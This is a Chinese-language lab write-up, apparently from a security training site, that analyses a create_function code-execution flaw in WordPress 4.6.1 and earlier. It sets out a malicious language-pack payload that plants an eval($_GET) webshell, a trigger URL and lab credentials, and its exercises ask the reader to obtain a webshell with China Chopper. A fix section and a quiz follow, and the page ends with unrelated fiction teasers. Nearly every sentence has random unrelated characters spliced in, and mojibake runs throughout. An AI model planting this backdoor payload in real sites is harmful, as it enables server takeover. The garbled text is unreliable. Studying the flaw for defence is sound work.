Wordpress 小于等于4.6.1版本任意代碼執(zhí)行漏洞分析

實(shí)驗(yàn)環(huán)境

操作機(jī):Windows XP
目標(biāo)機(jī):Windows 2003 Server SP2

實(shí)驗(yàn)工具

  • PoEdit:PoEdit是一款文件編輯器植袍,常用來漢化各種程序碉熄。它可以更加方便的辦法編輯目錄,而不用通過啟動(dòng)VI文本編輯器财骨,手動(dòng)編輯镐作。因此使用起來十分的方便與快捷,本次實(shí)驗(yàn)主要用到它的將.mo格式文件轉(zhuǎn)化為.po格式文件的文件功能和將.po格式文件轉(zhuǎn)化為.mo格式文件的文件功能隆箩。

  • Notepad++: Notepad++ 是在微軟窗口環(huán)境之下的一個(gè)免費(fèi)的代碼編輯器该贾。功能十分強(qiáng)大,本次實(shí)驗(yàn)主要用到它的語法高亮度顯示和文本內(nèi)容搜索功能捌臊。

實(shí)驗(yàn)?zāi)康?/h1>
  1. 掌握漏洞形成原因
  2. 掌握漏洞的驗(yàn)證方法

實(shí)驗(yàn)內(nèi)容

漏洞簡(jiǎn)介
本次漏洞出現(xiàn)在wp-includes/pomo/translations.php杨蛋,在一次用到create_function
的地方,create_function這個(gè)函數(shù)它的內(nèi)部使用了 eval 來執(zhí)行參數(shù)。
我們可以通過構(gòu)造插件逞力、語言包等曙寡,將一句話木馬寫入語言包中,當(dāng)網(wǎng)站管理員安裝我們的語言包的時(shí)候寇荧,create_function函數(shù)會(huì)把我們插入語言包中的一句話木馬當(dāng)做參數(shù)執(zhí)行举庶,這樣一來,就成功的插入了一句話木馬砚亭,從而達(dá)到任意代碼執(zhí)行的效果灯变。

漏洞影響版本
Wordpress 4.6.1以下版本

漏洞危害
如果管理員不當(dāng)操作,可導(dǎo)致網(wǎng)站直接被拿下后臺(tái)權(quán)限捅膘,攻擊者獲取Webshell添祸,甚至通過提權(quán)控制服務(wù)器,危害極大寻仗。

WordPress
WordPress是一種使用PHP語言開發(fā)的博客平臺(tái)刃泌,是一款個(gè)人博客系統(tǒng),用戶可以在支持PHP和MySQL數(shù)據(jù)庫(kù)的服務(wù)器上架設(shè)屬于自己的網(wǎng)站署尤。
也可以把 WordPress當(dāng)作一個(gè)內(nèi)容管理系統(tǒng)(CMS)來使用耙替。它是一款使用極其廣泛的網(wǎng)站系統(tǒng)。

phpinfo()函數(shù)
本函數(shù)返回 PHP 的所有信息曹体。
包括了 PHP 的編譯選項(xiàng)及擴(kuò)充配置俗扇、PHP 版本、服務(wù)器信息及環(huán)境變量箕别、PHP 環(huán)境變量铜幽、操作系統(tǒng)版本信息、路徑及環(huán)境變量配置串稀、HTTP 標(biāo)頭除抛、及版權(quán)宣告。

漏洞原理演示代碼

$newfunc = create_function('$a,$b', 'return "$a+$b = ".($a+$b);} echo "OUT \n ";/*'); echo "New anonymous function: $newfunc \n";

可以看到母截,在上述示例代碼中到忽,函數(shù)調(diào)用create_function時(shí),首先通過構(gòu)造代碼語句清寇,使用}將原函數(shù)閉合喘漏,然后再添加我們想要執(zhí)行的內(nèi)容后再使用/*將后面不必要的部分注釋掉。

之所以如此颗管,是因?yàn)?code>create_function內(nèi)部使用了eval來執(zhí)行代碼陷遮,所以由于這個(gè)特性,如果我們可以控制create_function的$code參數(shù)垦江,那就有了任意代碼執(zhí)行的可能帽馋。

其中echo OUT是我們添加構(gòu)造的測(cè)試代碼搅方,如果成功,則輸出OUT绽族,否則報(bào)錯(cuò)姨涡。

構(gòu)造完畢后,我們?cè)诒镜販y(cè)試一下吧慢,測(cè)試代碼的內(nèi)容就是網(wǎng)站ceshi/1.php涛漂,內(nèi)容就為我們上面修改過的代碼。

現(xiàn)在我們?cè)L問目標(biāo)網(wǎng)址:172.16.12.2/ceshi/1.php


我們可以看到检诗,輸出了OUT匈仗,代表著成功執(zhí)行了我們自己構(gòu)造的語句。

實(shí)驗(yàn)步驟

步驟1:漏洞代碼分析

本步驟將分析WordPress源碼以及我們要構(gòu)造的語言包插件源碼

我們首先分析WordPress漏洞核心處的代碼:

首先登錄目標(biāo)機(jī)逢慌,打開遠(yuǎn)程桌面連接悠轩,輸入地址:172.16.12.2,輸入賬號(hào)administrator攻泼,密碼ichunqiu進(jìn)行遠(yuǎn)程登錄訪問火架。
打開c:/Apache2.2/htdocs/wordpress1/wp-includes/pomo/目錄下的translations.php文件,右鍵點(diǎn)擊使用Notepad++打開忙菠,我們將對(duì)這個(gè)文件進(jìn)行源碼分析何鸡,定位到源碼的191-203行:


根據(jù)注釋可以看到該函數(shù)的作用是根據(jù)字體文件中的plural forms這個(gè)header來創(chuàng)建函數(shù)并返回。

其中$expression用于組成$func_body牛欢,而$func_body作為$code參數(shù)傳入了create_function骡男。
因此最關(guān)鍵的地方就是控制$expresstion的值,因?yàn)?code>$expresstion可以接受任何字符串和php代碼,我們根據(jù)自己的需求傍睹,構(gòu)造代碼洞翩,利用上述原理,達(dá)到我們想要的目的焰望,這便是漏洞所在。

接下來分析語言包插件的內(nèi)容已亥,并將惡意語句插入到語言包中熊赖。

我們?cè)俅未蜷_c:/Apache2.2/htdocs/wordpress1/wordpress1/wp-content/languages/zh_CN.po,選中該文件虑椎,右鍵選擇Notepad++ 打開該文件,使用Ctrl+f快捷鍵搜索關(guān)鍵字MIME震鹉,在MIME附近就是我們需要的核心的漏洞源碼,操作如圖:


找到MIME關(guān)鍵字附近的關(guān)鍵源碼捆姜,如圖:
Fig.4
Fig.4

這是我們將要構(gòu)造的語言包传趾,結(jié)合前面的WordPress漏洞源碼分析:
其中:nplurals的值即為上文中$nplurals的值。
plural的值正是我們需要的$expression的值泥技,plural其實(shí)就是payload浆兰,承載著我們構(gòu)造的語句。

我們payload中的)首先閉合了前面的(,然后簸呈;結(jié)束前面的語句榕订,接著是一句話木馬,再用/*注釋符蜕便,注釋掉后面的語句劫恒。

通過這樣,我們就將payload完整的傳入了create_function轿腺,在其創(chuàng)建函數(shù)時(shí)我們payload就會(huì)被執(zhí)行两嘴,由于訪問每個(gè)文件時(shí)都要用這個(gè)對(duì)字體文件解析的結(jié)果對(duì)文件進(jìn)行翻譯,所以我們?cè)L問任何文件都可以觸發(fā)這個(gè)payload族壳。

因此現(xiàn)在對(duì)zh_CN.po文件源碼做出改動(dòng)憔辫,將第九行代碼"Plural-Forms: nplurals=1; plural=0;\n"換成"Plural-Forms: nplurals=1; plural=n);}eval($_GET[c]);/*\n",使用GET方式傳遞參數(shù)决侈,其中plural的值就是我們需要控制的payload螺垢。

然后,使用PoEdit打開zh_CN.po文件赖歌,按Ctrl+S進(jìn)行保存枉圃,就可以進(jìn)行漏洞驗(yàn)證了。


接下將進(jìn)行任意代碼執(zhí)行驗(yàn)證操作步驟

步驟2:代碼執(zhí)行漏洞驗(yàn)證

本步將對(duì)代碼進(jìn)行漏洞驗(yàn)證

上一步我們?cè)诒镜胤治銎湓砗舐耄卿浤繕?biāo)機(jī)器孽亲,對(duì)目標(biāo)網(wǎng)站做出了修改,現(xiàn)在進(jìn)行漏洞驗(yàn)證:

漏洞驗(yàn)證:

訪問目標(biāo)網(wǎng)站地址:http://172.16.12.2/wordpress1/

我們對(duì)目標(biāo)URL進(jìn)行構(gòu)造展父,使其觸發(fā)任意代碼執(zhí)行漏洞返劲。我們通過代碼審計(jì),發(fā)現(xiàn)payload會(huì)通過GET的方式接受c的值栖茉,這時(shí)我們可以在瀏覽器后面構(gòu)造c=phpinfo();篮绿,其中phpinfo()是網(wǎng)站的探針界面,如果執(zhí)行成功吕漂,則可以正常顯示phpinfo的內(nèi)容亲配。

現(xiàn)在構(gòu)造語句進(jìn)行任意代碼執(zhí)行漏洞驗(yàn)證,訪問構(gòu)造好的地址:http://172.16.12.2/wordpress1/index.php?c=phpinfo();


可以看到任意代碼執(zhí)行漏洞就可以被觸發(fā)惶凝,phpinfo()被執(zhí)行吼虎,(我們甚至還可以通過中國(guó)菜刀連接一句話,拿到Webshell)

到這里苍鲜,我們成功的驗(yàn)證了Wordpress任意代碼執(zhí)行漏洞思灰。

步驟3:漏洞修復(fù)

語言包本身以及WordPress源碼本身并沒有錯(cuò),只是在一些條件下會(huì)被攻擊者利用混滔,從而成為任意代碼執(zhí)行漏洞洒疚,根據(jù)攻擊原理歹颓,應(yīng)該注意:

1:WordPress的translations.php源碼碼的191-203行:我們對(duì)$expresstion的值進(jìn)行過濾或替換,將敏感的字符),},;進(jìn)行替換為空拳亿。
2:管理員應(yīng)該注意晴股,在官方發(fā)布補(bǔ)丁前建議增強(qiáng)安全意識(shí),不要使用來路不明的字體文件肺魁、插件电湘、主題等等。

思考

1.請(qǐng)修改語言包鹅经,構(gòu)造語句函數(shù)寂呛,最終通過菜刀連接拿到Webshell。
2.請(qǐng)嘗試對(duì)其他字體文件瘾晃、插件贷痪、主題進(jìn)行修改,并進(jìn)行測(cè)試蹦误,看能否執(zhí)行出本次試驗(yàn)的效果劫拢。

參考資料

http://www.tuicool.com/articles/2En2YfJ

課后習(xí)題

第1題:/ceshi/1.php 輸出的內(nèi)容為?

第2題:本次漏洞最為核心的函數(shù)是
A强胰、create_function
B舱沧、create_function
C、index
D偶洋、phpinfo

第3題:有一個(gè)文件可以顯示網(wǎng)頁的配置信息熟吏、運(yùn)行狀態(tài)等等,這個(gè)文件是________?

第4題:本次PHP版本為________

參考答案:
1玄窝、OUT New anonymous function:lambda_1
2牵寺、A
3、
4恩脂、5.4.32

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末帽氓,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子俩块,更是在濱河造成了極大的恐慌杏节,老刑警劉巖,帶你破解...
    沈念sama閱讀 207,113評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件典阵,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡镊逝,警方通過查閱死者的電腦和手機(jī)壮啊,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,644評(píng)論 2 381
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來撑蒜,“玉大人歹啼,你說我怎么就攤上這事玄渗。” “怎么了狸眼?”我有些...
    開封第一講書人閱讀 153,340評(píng)論 0 344
  • 文/不壞的土叔 我叫張陵藤树,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我拓萌,道長(zhǎng)岁钓,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,449評(píng)論 1 279
  • 正文 為了忘掉前任微王,我火速辦了婚禮屡限,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘炕倘。我一直安慰自己钧大,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,445評(píng)論 5 374
  • 文/花漫 我一把揭開白布罩旋。 她就那樣靜靜地躺著啊央,像睡著了一般。 火紅的嫁衣襯著肌膚如雪涨醋。 梳的紋絲不亂的頭發(fā)上瓜饥,一...
    開封第一講書人閱讀 49,166評(píng)論 1 284
  • 那天,我揣著相機(jī)與錄音东帅,去河邊找鬼压固。 笑死,一個(gè)胖子當(dāng)著我的面吹牛靠闭,可吹牛的內(nèi)容都是我干的帐我。 我是一名探鬼主播,決...
    沈念sama閱讀 38,442評(píng)論 3 401
  • 文/蒼蘭香墨 我猛地睜開眼愧膀,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼拦键!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起檩淋,我...
    開封第一講書人閱讀 37,105評(píng)論 0 261
  • 序言:老撾萬榮一對(duì)情侶失蹤芬为,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后蟀悦,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體媚朦,經(jīng)...
    沈念sama閱讀 43,601評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,066評(píng)論 2 325
  • 正文 我和宋清朗相戀三年日戈,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了询张。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,161評(píng)論 1 334
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡浙炼,死狀恐怖份氧,靈堂內(nèi)的尸體忽然破棺而出唯袄,到底是詐尸還是另有隱情,我是刑警寧澤蜗帜,帶...
    沈念sama閱讀 33,792評(píng)論 4 323
  • 正文 年R本政府宣布恋拷,位于F島的核電站,受9級(jí)特大地震影響厅缺,放射性物質(zhì)發(fā)生泄漏蔬顾。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,351評(píng)論 3 307
  • 文/蒙蒙 一店归、第九天 我趴在偏房一處隱蔽的房頂上張望阎抒。 院中可真熱鬧,春花似錦消痛、人聲如沸且叁。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,352評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽逞带。三九已至,卻和暖如春纱新,著一層夾襖步出監(jiān)牢的瞬間展氓,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,584評(píng)論 1 261
  • 我被黑心中介騙來泰國(guó)打工脸爱, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留遇汞,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 45,618評(píng)論 2 355
  • 正文 我出身青樓簿废,卻偏偏與公主長(zhǎng)得像空入,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子族檬,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,916評(píng)論 2 344

推薦閱讀更多精彩內(nèi)容